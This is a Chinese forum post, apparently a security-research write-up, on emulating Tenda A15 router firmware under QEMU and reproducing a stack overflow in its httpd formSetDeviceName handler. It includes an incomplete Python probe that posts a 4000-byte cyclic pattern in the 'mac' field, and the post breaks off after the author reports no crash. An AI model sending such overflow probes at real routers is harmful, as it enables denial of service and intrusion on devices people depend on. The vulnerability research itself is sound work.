Tenda A15 固件模拟与漏洞复现
环境检测
echo "--- 1. 固件解包工具检测 ---"
which sasquatch
echo -e "\n--- 2. QEMU 模拟环境检测 ---"
qemu-mipsel-static --version
qemu-system-mipsel --version
echo -e "\n--- 3. 调试工具检测 ---"
gdb-multiarch --version
echo -e "\n--- 4. 网络与依赖服务检测 ---"
brctl show
systemctl is-active rpcbind
固件解包
固件下载地址
提取固件
binwalk -Me US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin
终端会滚动输出很多信息,并且在当前目录下会生成一个以 _固件名.extracted 结尾的新文件夹,里面包含一个 squashfs-root 目录。这就是路由器里的完整 Linux 文件系统了!
查看程序信息
file bin/httpd
将 x86 架构下的 MIPS 翻译器(QEMU)复制到当前假根目录中:
cp $(which qemu-mipsel-static) .
使用 chroot 将当前目录作为根目录,启动 httpd 服务
sudo chroot . ./qemu-mipsel-static ./bin/httpd
没反应,ip地址错误,没有布置监听
文件系统修补
在真实的 IoT 设备中,根文件系统(也就是提取出来的 squashfs)通常是只读的(Read-Only)。
但是,httpd 服务在运行时,必须生成一些动态数据,比如:
记录当前进程号的 PID 文件
用户的 Session 缓存、临时上传的配置文件。
运行时的网络状态(/var/run)。
真实路由器的做法:在系统刚通电开机时,操作系统的启动脚本(init)会在内存中划分出一块区域(tmpfs,也就是内存虚拟盘),然后把 /var、/tmp 等需要频繁读写的目录挂载到这个内存盘上。接着,它会把出厂默认的配置文件(存放在以 _ro 即 Read-Only 结尾的目录里)复制到真正的运行目录中。
我们的模拟环境:提取出的 squashfs-root 只是固件在关机状态下的静态文件。它缺少了开机时动态创建的那些目录,而且真正的配置文件还在 etc_ro 里睡大觉,真正的网页文件还在 webroot_ro 里。
在目录etc_ro中有init.d目录,其中的文件就是启动项,但是不能直接去启动它,因为它包含 mount -t ramfs 等命令会因为权限问题报错并且/sbin、/etc 等绝对路径与实际不符合
更改方法
照抄 rcS 的 mkdir 动作
执行 rcS 里的文件拷贝:把 etc_ro 和 webroot_ro 里的资源部署到位。
加入 strace 发现的补丁:加上 /proc、/sys、/dev 的 mount 动作。
下图是etc_ro中有init.d的rcS的内容
#!/bin/sh
mkdir -p ./var/etc
mkdir -p ./var/media
mkdir -p ./var/webroot
mkdir -p ./var/etc/iproute
mkdir -p ./var/run
mkdir -p ./var/etc/udhcpc
mkdir -p ./var/debug
mkdir -p ./dev/pts
mkdir -p ./var/ppp
mkdir -p ./tmp
cp -rf ./etc_ro/* ./var/etc/
cp -rf ./webroot_ro/* ./var/webroot
挂载(Mount):给程序装上“传感器,proc、sys、dev ,路由器程序(httpd)运行的时候,会去 /proc 里看系统状态。如果不挂载,它看到的文件夹就是空的,它会觉得自己跑在一个“死掉”的系统里,然后直接报错退出。
sudo mount -t proc /proc ./proc
sudo mount -t sysfs /sys ./sys
sudo mount --bind /dev ./dev
软链接
sudo ln -snf ./var/webroot ./webroot
网卡接口配置
为了“伪造”出路由器程序赖以生存的硬件环境,并打通与该程序之间的通信链路,让固件正常运行,我们必须在 Linux 内核中伪造出它所需的网络拓扑
静态分析看到应该是br0和80端口
sudo brctl addbr br0
sudo ip addr add 192.168.0.1/24 dev br0
sudo ip link set br0 up
然后再次执行
sudo chroot . ./qemu-mipsel-static ./bin/httpd
漏洞静态分析
initWebs是初始话web界面,并根据提交表单调用相应功能
API 路由表
websFormDefine("前端名字", 后端C函数名)
大佬的说要多关注带有set的功能,因为大多数是需要接受前端数据,进行设置操作的,因此存在较高的安全风险
分析处理SetOnlineDevName 请求的formSetDeviceName 函数,其中的set_device_name发现漏洞
没有对字符串长度校验,使用sprintf会造成栈溢出漏洞导致程序崩溃
在常规 Pwn 题里,接收输入的是 read(0, buf, size) 或者 gets(buf),直接从标准输入流读。
而在 Tenda 路由器的 formSetDeviceName 函数里,它绝对不会调用 scanf 或 read 等待你输入。websFormHandler 会把 HTTP POST 请求全部接收完毕,并解析成了内存里的一个字典结构
import requests
from pwn import cyclic
ip = '192.168.0.1' # 填网桥 IP
# 结合优势:攻击 mac 字段,并使用 4000 字节的超大探针!
payload = {
"mac": cyclic(4000),
"devName": "devname1"
print("[*] 正在发送 4000 字节的终极探针...")
try:
requests.post(url=url , data=payload, timeout=2)
except Exception:
print("[+] 目标已彻底断开,绝对当场暴毙!")
但是运行结果非预期,程序并没有崩溃,还打印了信息device name setted
...(已截断)
---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-290714.htm
[原创][分享][注意][分享]Tenda A15 固件模拟与漏洞复现
188 浏览
0 回复
暂无回复,快来抢沙发吧!